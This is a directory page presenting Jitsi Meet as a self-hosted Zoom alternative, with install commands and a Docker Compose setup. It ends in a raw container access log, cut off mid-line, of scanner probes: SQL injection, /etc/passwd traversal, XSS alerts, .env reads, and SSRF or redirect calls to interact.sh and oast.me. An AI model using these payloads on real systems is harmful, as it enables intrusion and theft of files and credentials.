Jitsi Meet is a self-hosted alternative to Zoom with WebRTC in-browser video calls, end-to-end encryption, and complete infrastructure data sovereignty.
Jitsi Meet is a self-hosted video conferencing platform designed around open standards and real-time browser communication. It routes media through an internal selective forwarding bridge rather than third-party infrastructure, providing complete ownership over conference audio, video, and participant records.
Zoom anchors its product around a proprietary multi-tenant cloud and per-host monthly billing, routing media streams and meeting metadata through vendor servers. For teams bound by strict privacy frameworks, client confidentiality agreements, or sovereign compliance rules, this architecture surrenders control over call records and transit hops. Jitsi Meet operates on self-managed infrastructure, ensuring that WebRTC audio and video streams remain entirely within private networks or controlled virtual servers. Guests join rooms with a browser link, eliminating mandatory client downloads and vendor tracking accounts.
Trading Zoom for Jitsi Meet replaces recurring subscription fees with operational responsibility. Zoom delivers turnkey PSTN phone dial-ins and automated cloud recordings without local infrastructure overhead. In contrast, Jitsi Meet offloads telephony and recording to auxiliary components like Jigasi and Jibri, which demand dedicated resource allocation and tuning. Teams adopting Jitsi Meet gain unmetered meetings and data privacy, but ops leads must actively plan server bandwidth and manage media routing capacity.
Can Jitsi Meet replace Zoom for small teams? Yes, Jitsi Meet replaces Zoom for daily standups, client meetings, and team calls without per-seat licensing, provided the team can manage or deploy a Linux host.
Is Jitsi Meet completely free for commercial use? Yes, the platform has no enterprise paywalls or restricted features, requiring only payment for your underlying server infrastructure and bandwidth.
Does Jitsi Meet require participants to register an account? No, attendees join simply by opening the room link in a supported web browser without signing up or sharing personal contact details.
Jitsi Meet is the ideal choice for teams that prioritize privacy, data sovereignty, and unmetered video calling over turn-key cloud conveniences. Its Apache-2.0 license permits unlimited commercial modification and private deployments, while ongoing project commits through September 2026 ensure the platform remains synchronized with modern WebRTC standards.
These packages install the Jitsi Meet desktop client, not the server. Each package is matched to Jitsi Meet through the registry's own link to its source code or website.
winget install --id Jitsi.Meet -eflatpak install flathub org.jitsi.jitsi-meetWe started this exact setup from scratch in a clean Linux machine on Nov 1, 2026 and checked it through Jitsi Meet's own API: every check passed. Recipes are re-checked regularly and removed if they stop working.
mkdir -p jitsi-meet && cd jitsi-meet
curl -fsSL https://open-source.store/tools/jitsi-meet/compose.yml -o compose.ymlcat > .env <<EOF
PUBLIC_URL=http://localhost:8000
JVB_ADVERTISE_IPS=127.0.0.1
JICOFO_AUTH_PASSWORD=$(openssl rand -hex 16)
JVB_AUTH_PASSWORD=$(openssl rand -hex 16)
EOFPUBLIC_URL — Public URL where clients access Jitsi Meet (e.g. https://<host>:8443 or https://meet.example.com behind a reverse proxy); set this to your public domain and port.JVB_ADVERTISE_IPS — Public or LAN IP address advertised by Jitsi Videobridge (JVB) for WebRTC media streams.JICOFO_AUTH_PASSWORD — Internal XMPP password for the Jicofo conference focus component. Generated above; keep it secret.JVB_AUTH_PASSWORD — Internal XMPP password for the Jitsi Videobridge (JVB). Generated above; keep it secret.docker compose up -dservices:
web:
image: ghcr.io/jitsi/web:stable-11248-2
restart: always
ports:
- "8000:8000"
- "8443:8443"
environment:
ENABLE_HTTP_REDIRECT: "0"
ENABLE_LETSENCRYPT: "0"
PUBLIC_URL: ${PUBLIC_URL}
BOSH_RELATIVE: "true"
XMPP_SERVER: xmpp.meet.jitsi
TZ: UTC
volumes:
- web-config:/config
- web-storage:/storage
depends_on:
- prosody
- jvb
networks:
- meet.jitsi
healthcheck:
test: ["CMD-SHELL", "curl -f http://localhost:8000/ || exit 1"]
interval: 10s
timeout: 5s
retries: 5
prosody:
image: ghcr.io/jitsi/prosody:stable-11248-2
restart: always
expose:
- "5222"
- "5280"
- "5347"
environment:
XMPP_DOMAIN: meet.jitsi
XMPP_AUTH_DOMAIN: auth.meet.jitsi
XMPP_MUC_DOMAIN: muc.meet.jitsi
XMPP_INTERNAL_MUC_DOMAIN: internal-muc.meet.jitsi
JICOFO_AUTH_PASSWORD: ${JICOFO_AUTH_PASSWORD}
JVB_AUTH_PASSWORD: ${JVB_AUTH_PASSWORD}
TZ: UTC
volumes:
- prosody-config:/config
- prosody-plugins:/prosody-plugins-custom
- prosody-data:/var/lib/prosody
networks:
meet.jitsi:
aliases:
- xmpp.meet.jitsi
jicofo:
image: ghcr.io/jitsi/jicofo:stable-11248-2
restart: always
environment:
XMPP_SERVER: xmpp.meet.jitsi
XMPP_DOMAIN: meet.jitsi
XMPP_AUTH_DOMAIN: auth.meet.jitsi
XMPP_INTERNAL_MUC_DOMAIN: internal-muc.meet.jitsi
XMPP_MUC_DOMAIN: muc.meet.jitsi
JICOFO_AUTH_PASSWORD: ${JICOFO_AUTH_PASSWORD}
JICOFO_MAX_MEMORY: 512m
TZ: UTC
volumes:
- jicofo-config:/config
depends_on:
- prosody
networks:
- meet.jitsi
jvb:
image: ghcr.io/jitsi/jvb:stable-11248-2
restart: always
ports:
- "10000:10000/udp"
environment:
XMPP_SERVER: xmpp.meet.jitsi
XMPP_AUTH_DOMAIN: auth.meet.jitsi
XMPP_INTERNAL_MUC_DOMAIN: internal-muc.meet.jitsi
JVB_AUTH_USER: jvb
JVB_AUTH_PASSWORD: ${JVB_AUTH_PASSWORD}
JVB_BREWERY_MUC: jvbbrewery
JVB_PORT: 10000
JVB_ADVERTISE_IPS: ${JVB_ADVERTISE_IPS}
JVB_DISABLE_STUN: "1"
VIDEOBRIDGE_MAX_MEMORY: 1024m
TZ: UTC
volumes:
- jvb-config:/config
depends_on:
- prosody
networks:
- meet.jitsi
networks:
meet.jitsi:
volumes:
web-config:
web-storage:
prosody-config:
prosody-plugins:
prosody-data:
jicofo-config:
jvb-config:
Go, gRPC and Protobuf done right, LLM agents in production, and the hard parts of shipping a first product.
Show that Jitsi Meet is listed as an open-source alternative. Paste into your README:
Ubuntu 24.04 · Apple container, Docker 29.1.3, Compose 2.40.3+ds1-0ubuntu1~24.04.1. Images pulled in 52 s: ghcr.io/jitsi/jicofo:stable-11248-2, ghcr.io/jitsi/jvb:stable-11248-2, ghcr.io/jitsi/web:stable-11248-2, ghcr.io/jitsi/prosody:stable-11248-2.
Based on the upstream setup. Official docker-jitsi-meet compose pinned to stable-11248-2. Deviations from upstream: HTTP-to-HTTPS redirect off via ENABLE_HTTP_REDIRECT=0, Let's Encrypt off, JVB_DISABLE_STUN=1, read_only hardening dropped, localhost JVB/Jicofo REST ports dropped, HTTPS on 8443 with self-signed certificate, UDP 10000 published with JVB_ADVERTISE_IPS, internal secrets moved to .env, and host paths replaced with named volumes.
web-1 | 2026-11-01T02:42:13.681767805Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /tmp/updateme/sinfor/ad/sys/sys_user.conf HTTP/1.1" 200 8850 "" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" web-1 | 2026-11-01T02:42:13.682303471Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /sensorlist.htm HTTP/1.1" 200 8844 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4.1 Safari/605.1.15" web-1 | 2026-11-01T02:42:13.682305388Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /web/session/logout?redirect=https%3a%2f%2foast.me%2f HTTP/1.1" 200 8853 "" "Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.9" web-1 | 2026-11-01T02:42:13.682306221Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /compliancepolicyelements.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL,NULL+--+&searchColumn=elementName&searchOption=contains HTTP/1.1" 200 8844 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123" web-1 | 2026-11-01T02:42:13.682565471Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /wp-content/plugins/boldgrid-backup/cron/restore-info.json HTTP/1.1" 200 8852 "" "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.14" web-1 | 2026-11-01T02:42:13.682629513Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /developLog/downloadLog.php?name=../../../../etc/passwd HTTP/1.1" 200 8856 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36" web-1 | 2026-11-01T02:42:13.682783096Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /wp-content/plugins/boldgrid-backup/cron/restore-info.json HTTP/1.1" 200 8852 "" "Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0" web-1 | 2026-11-01T02:42:13.682938096Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /wp-content/plugins/boldgrid-backup/cron/restore-info.json HTTP/1.1" 200 8852 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0" web-1 | 2026-11-01T02:42:13.684291721Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /?portgw=80089948;%20alert(document.domain) HTTP/1.1" 200 8844 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Safari/605.1.15" web-1 | 2026-11-01T02:42:13.684417971Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /compliancepolicyelements.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL,NULL+--+&searchColumn=elementName&searchOption=contains HTTP/1.1" 200 8844 "" "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/9.0" web-1 | 2026-11-01T02:42:13.684568805Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET / HTTP/1.1" 200 8844 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_3_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15" web-1 | 2026-11-01T02:42:13.684733471Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /wp-content/plugins/boldgrid-backup/cron/restore-info.json HTTP/1.1" 200 8852 "" "Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" web-1 | 2026-11-01T02:42:13.684846721Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /.env HTTP/1.1" 200 8844 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.5" web-1 | 2026-11-01T02:42:13.684906388Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /web/dbredirect?redirect=https%3a%2f%2foast.me%2f HTTP/1.1" 200 8849 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" web-1 | 2026-11-01T02:42:13.685077846Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /.env HTTP/1.1" 200 8844 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" web-1 | 2026-11-01T02:42:13.685137180Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /?portgw=80089948;%20alert(document.domain) HTTP/1.1" 200 8844 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15" web-1 | 2026-11-01T02:42:13.685267638Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET / HTTP/1.1" 200 8844 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101 Firefox/140.0.2 (x64 de)" web-1 | 2026-11-01T02:42:13.685389888Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /system/modules/alkacon.mercury.template.jsondemo/elements/jsonapi.jsp?content&fallbackLocale&locale=en&rows=1&uri=http://interact.sh HTTP/1.1" 200 8852 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15" web-1 | 2026-11-01T02:42:13.685579513Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /product.php?cid=1&&artname=%3Cimg%20src=1%20onerror=alert(document.domain)%3E HTTP/1.1" 200 8844 "" "Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36" web-1 | 2026-11-01T02:42:13.685628513Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /v1/users/image?path=/var/lib/casaos/1/app_order.json HTTP/1.1" 200 8851 "" "Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" web-1 | 2026-11-01T02:42:13.686333763Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET / HTTP/1.1" 200 8844 "" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0" web-1 | 2026-11-01T02:42:13.686462180Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /compliancepolicyelements.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL,NULL+--+&searchColumn=elementName&searchOption=contains HTTP/1.1" 200 8844 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15" web-1 | 2026-11-01T02:42:13.686561013Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /v1/users/image?path=/var/lib/casaos/1/app_order.json HTTP/1.1" 200 8851 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36" web-1 | 2026-11-01T02:42:13.686584930Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /developLog/downloadLog.php?name=../../../../etc/passwd HTTP/1.1" 200 8856 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" web-1 | 2026-11-01T02:42:13.686672471Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /?portgw=80089948;%20alert(document.domain) HTTP/1.1" 200 8844 "" "Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" web-1 | 2026-11-01T02:42:13.686783055Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /?portgw=80089948;%20alert(document.domain) HTTP/1.1" 200 8844 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/85.0.4183.127 Safari/537.36" web-1 | 2026-11-01T02:42:13.688467805Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /product.php?cid=1&&artname=%3Cimg%20src=1%20onerror=alert(document.domain)%3E HTTP/1.1" 200 8844 "" "Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" web-1 | 2026-11-01T02:42:13.688709221Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /sensorlist.htm HTTP/1.1" 200 8844 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10" web-1 | 2026-11-01T02:42:13.689331930Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /tmp/updateme/sinfor/ad/sys/sys_user.conf HTTP/1.1" 200 8850 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15" web-1 | 2026-11-01T02:42:13.695092263Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /developLog/downloadLog.php?name=../../../../etc/passwd HTTP/1.1" 200 8856 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10" web-1 | 2026-11-01T02:42:13.695096430Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /system/modules/alkacon.mercury.template.jsondemo/elements/jsonapi.jsp?content&fallbackLocale&locale=en&rows=1&uri=http://interact.sh HTTP/1.1" 200 8852 "" "Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" web-1 | 2026-11-01T02:42:13.695892888Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /.env HTTP/1.1" 200 8844 "" "Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.12" web-1 | 2026-11-01T02:42:13.696785221Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /web/dbredirect?redirect=https%3a%2f%2foast.me%2f HTTP/1.1" 200 8849 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Safari/605.1.15" web-1 | 2026-11-01T02:42:13.696918263Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET / HTTP/1.1" 200 8844 "" "Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" web-1 | 2026-11-01T02:42:13.697535013Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /telescope/requests HTTP/1.1" 200 8853 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:134.0) Gecko/20100101 Firefox/134.0" web-1 | 2026-11-01T02:42:13.697536513Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /.env HTTP/1.1" 200 8844 "" "Mozilla/5.0 (watchTowr; Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0" web-1 | 2026-11-01T02:42:13.697537513Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /compliancepolicyelements.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL,NULL+--+&searchColumn=elementName&searchOption=contains HTTP/1.1" 200 8844 "" "Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" web-1 | 2026-11-01T02:42:13.698188596Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /product.php?cid=1&&artname=%3Cimg%20src=1%20onerror=alert(document.domain)%3E HTTP/1.1" 200 8844 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1" web-1 | 2026-11-01T02:42:13.698334638Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /tmp/updateme/sinfor/ad/sys/sys_user.conf HTTP/1.1" 200 8850 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Mobile/15E148 Safari/604.1" web-1 | 2026-11-01T02:42:13.698466805Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /tmp/updateme/sinfor/ad/sys/sys_user.conf HTTP/1.1" 200 8850 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0" web-1 | 2026-11-01T02:42:13.698600721Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /sensorlist.htm HTTP/1.1" 200 8844 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/125.0" web-1 | 2026-11-01T02:42:13.698719930Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /product.php?cid=1&&artname=%3Cimg%20src=1%20onerror=alert(document.domain)%3E HTTP/1.1" 200 8844 "" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5" web-1 | 2026-11-01T02:42:13.698861430Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /system/modules/alkacon.mercury.template.jsondemo/elements/jsonapi.jsp?content&fallbackLocale&locale=en&rows=1&uri=http://interact.sh HTTP/1.1" 200 8852 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1.2 Safari/605.1.15" web-1 | 2026-11-01T02:42:13.699839430Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /developLog/downloadLog.php?name=../../../../etc/passwd HTTP/1.1" 200 8856 "" "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/15.0" web-1 | 2026-11-01T02:42:13.699979513Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /jenkins/script HTTP/1.1" 200 8854 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25" web-1 | 2026-11-01T02:42:13.700284555Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /v1/users/image?path=/var/lib/casaos/1/app_order.json HTTP/1.1" 200 8851 "" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12" web-1 | 2026-11-01T02:42:13.701094763Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /v1/users/image?path=/var/lib/casaos/1/app_order.json HTTP/1.1" 200 8851 "" "Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" web-1 | 2026-11-01T02:42:13.701459513Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /login.do?jvar_page_title=<style><foo>Injected+Title</foo></style> HTTP/1.1" 200 8844 "" "Mozilla/5.0 (Windows NT 10.0, Win64, x64, rv:139.0) Gecko/20100101 Firefox/139.0" web-1 | 2026-11-01T02:42:13.701783180Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /nagiosql/admin/commandline.php?cname=%27%20union%20select%20concat(md5(2013336327))%23 HTTP/1.1" 200 8851 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:70.0) Gecko/20100101 Firefox/70.0" web-1 | 2026-11-01T02:42:13.701937721Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /sensorlist.htm HTTP/1.1" 200 8844 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0" web-1 | 2026-11-01T02:42:13.702034346Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /system/modules/alkacon.mercury.template.jsondemo/elements/jsonapi.jsp?content&fallbackLocale&locale=en&rows=1&uri=http://interact.sh HTTP/1.1" 200 8852 "" "Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.7 Safari/605.1.15" web-1 | 2026-11-01T02:42:13.702196263Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET //www.interact.sh HTTP/1.1" 200 8844 "" "Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36" web-1 | 2026-11-01T02:42:13.702211430Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /?%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E+ HTTP/1.1" 400 259 "" "Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1.1 Safari/605.1.15" web-1 | 2026-11-01T02:42:13.703582013Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /v1/users/image?path=/var/lib/casaos/1/system.json HTTP/1.1" 200 8851 "" "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0" web-1 | 2026-11-01T02:42:13.703894055Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /propertyfinder/component/jesectionfinder/?view=../../../../../../../../../../../../../etc/passwd HTTP/1.1" 200 8858 "" "Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" web-1 | 2026-11-01T02:42:13.704190221Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /v1/users/image?path=/var/lib/casaos/1/system.json HTTP/1.1" 200 8851 "" "Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" web-1 | 2026-11-01T02:42:13.704385555Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET / HTTP/1.1" 200 8844 "" "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.17" web-1 | 2026-11-01T02:42:13.704423263Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET / HTTP/1.1" 200 8844 "" "Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" web-1 | 2026-11-01T02:42:13.704541138Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /propertyfinder/component/jesectionfinder/?view=../../../../../../../../../../../../../etc/passwd HTTP/1.1" 200 8858 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0" web-1 | 2026-11-01T02:42:13.704698513Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET / HTTP/1.1" 400 662 "" "Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" web-1 | 2026-11-01T02:42:13.704725263Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /propertyfinder/component/jesectionfinder/?view=../../../../../../../../../../../../../etc/passwd HTTP/1.1" 400 662 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" web-1 | 2026-11-01T02:42:13.704895763Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /propertyfinder/component/jesectionfinder/?view=../../../../../../../../../../../../../etc/passwd HTTP/1.1" 400 259 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15" web-1 | 2026-11-01T02:42:13.704907013Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET / HTTP/1.1" 400 259 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_3_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15" web-1 | 2026-11-01T02:42:13.705600555Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /index.php?option=com_smestorage&controller=../../../../../../../../../etc/passwd%00 HTTP/1.1" 400 259 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0" web-1 | 2026-11-01T02:42:13.705637180Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /ventrilo_srv.ini HTTP/1.1" 400 259 "" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" web-1 | 2026-11-01T02:42:13.705867180Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /telescope/requests HTTP/1.1" 400 662 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Whale/4.32.315.22 Safari/537.36" web-1 | 2026-11-01T02:42:13.705909305Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /reset/IjEi.YhAmmQ.cdQp7CnnVq02aQ05y8tSBddl-qs HTTP/1.1" 400 259 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.4 Safari/605.1.15" web-1 | 2026-11-01T02:42:13.706102763Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /index.php?option=com_jtagmembersdirectory&task=attachment&download_file=../../../../../../../../../../../etc/passwd HTTP/1.1" 200 8844 "" "Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36" web-1 | 2026-11-01T02:42:13.706120263Z 192.168.64.165 - - [01/Nov/2026:02:42:13 +0000] "GET /jenkins/script HTTP/1.1" 400 259 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) 